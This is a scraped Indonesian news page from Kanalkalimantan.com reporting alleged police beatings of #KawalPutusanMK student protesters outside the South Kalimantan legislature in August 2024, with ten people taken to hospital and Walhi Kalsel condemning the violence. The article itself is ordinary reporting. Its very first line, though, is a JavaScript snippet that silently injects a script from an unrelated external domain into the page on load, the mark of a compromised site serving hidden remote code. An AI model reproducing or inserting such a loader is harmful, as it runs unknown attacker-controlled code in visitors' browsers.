(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

10 Pengunjuk Rasa #KawalPutusanMK Dilarikan ke Rumah Sakit, Walhi Kalsel Kecam Tindakan Represif Aparat


KANALKALIMANTAN.COM, BANJARMASIN – Tindakan represif aparat kepolisian diduga mengiringi aksi unjuk rasa yang dilakukan gabungan mahasiswa #KawalPutusanMK di depan gedung DPRD Kalimantan Selatan (Kalsel), Jumat (23/8/2024) malam.

Unjuk rasa yang diikuti ratusan mahasiswa belum hingga pukul 20.00 Wita sedari dimulai pada pukul 14.30 Wita, karena massa aksi tidak diberikan ruang untuk menyuarakan aspirasi bertemu Ketua DPRD Kalsel H Supian HK.

Diduga sikap represif aparat keamanan, khususnya dalam penanganan aksi demonstrasi bahkan sempat terekam kamera.

Diungkapkan salah satu pengunjuk rasa dari Walhi Kalsel, Cecep mengatakan, dalam video, kata dia, terekam bahwa aparat kepolisian yang memakai seragam lengkap beserta atribut melakukan tindakan represif menggunakan tameng dan alat keamanan sejenisnya.

“Salah satunya anggota Walhi yang mencoba melerai kawan-kawan untuk mendinginkan suasana di lapangan yang tidak kondusif lagi, kami mengalami tindakan represif seperti pemukulan dan lainnya, beberapa kejadian sempat terekam di HP kawan-kawan,” ujar Cecep, dari Walhi Kalsel saat diwawancarai.

Dugaan tindakan represif yang mengiringi jalannya demontrasi itu pun berdampak kepada peserta aksi hingga ada beberapa yang mengalami luka ringan, cidera pada pelipis mata serta kelelahan.

Berdasarkan data yang dihimpun Kanalkalimantan.com, sedikitnya ada 10 orang yang dilarikan ke rumah sakit terdekat karena mengalami cidera dan luka-luka.

Mereka dibawa ke RS Sultan Suriansyah Banjarmasin sebanyak enam orang, tiga orang dilarikan ke RSUD Ulin Banjarmasin dan satu orang lagi dibawa ke RS Bhayangkara.

“Data itu belum lagi yang cidera dan luka tapi tidak terkonfirmasi. Ada massa dari Timor atau Papua yang juga yang mengalami pergeseran dengkul, bahkan ada dugaan beberapa tim media juga kena tindakan represif itu,” jelas dia.

Cecep menegaskan, Walhi Kalsel mengecam dan mengutuk keras tindakan represif dari aparat, sebab menurutnya sedari awal massa aksi tidak menginginkan ada bentrok seperti yang terjadi malam hari.

Mahasiswa, katanya, sudah berusaha menunggu untuk dapat bernegosiasi, menunggu jawaban dari DPRD Kalsel, terutama Ketua DPRD Kalsel H Supian HK.

“Ditambah kawan-kawan masa aksi juga menunggu hasil dari negosiasi dengan aparat kepolisian, massa aksi ingin menyatakan sikap dan membacakan tuntutan di halaman DPRD atau di dalam gedung DPRD sebagai pernyataan sikap,” sambung dia.

Dalam unjuk rasa berakhir ricuh itu, Cecep menjelaskan, pada sore hari komunikasi sudah coba dilakukan oleh perwakilan DPRD Kalsel yang turun ke jalan. Tapi perwakilan DPRD Kalsel tidak bisa memberi kepastian, sehingga negosiasi pertama itu dapat dikatakan aspirasi pengunjuk rasa tidak didengarkan.

“Lalu negosiasi kedua adalagi komunikasi dengan pihak DPRD, ternyata memang mereka tidak mau mendengarkan aspirasi massa aksi untuk meminta DPRD Kalsel ambil sikap atas putusan MK yang sedang dikawal ini,” jelasnya.

Sebagai masyarakat, massa aksi kata Cecep hanya ingin Ketua DPRD Kalsel dapat turun langsung menandatangani tuntutan para pengunjuk rasa.

Sikap wakil rakyat di DPRD Kalsel yang memilih enggan mendengarkan aspirasi itu tersebut membuat bentrok dengan aparat kepolisian.

“Ternyata sikapnya tidak mendengarkan aspirasi teman-teman mahasiswa, sehingga kami pun merasa aksi hanya dibentrokkan dengan aparat kepolisian,” sambung dia.

Sementara itu salah satu korban dari pengunjuk rasa Iqbal Hambali (27) mengaku sempat beberapa kali mendapatkan pukulan dari aparat kepolisian hingga mengalami lebam.

“Kalau cidera tidak ada, hanya lebab bekas pukulan Baja, tidak diseret, karena melerai maka kena pukulan,” ujar anggota Walhi Kalsel ini.

Kejadian yang ia alami itu pun terjadi usai dirinya mencoba melerai dan memadamkan amarah massa aksi ini dihadapan aparat.

Namun naas, kata Iqbal, dirinya hanya mendapati pukulan di kepala sebanyak dua kali hingga di bawah kupingnya.

“Terakhir chaos itu usai ikut melerai dan dipukul di kepala dua kali dan di bawah kuping,” imbuhnya.

Saat mencoba berbalik menghindari pukulan itu namun tidak berhasil, malah mendapatkan lebih banyak pukulan dari belakang hingga tidak sadarkan diri.

“Setelah itu balik badan, dan badan itu sudah tidak terhitung berapa kali pukulannya, setelah itu langsung pandangan buyar dan tidak sadar lagi,” tuntas Iqbal. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

4 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.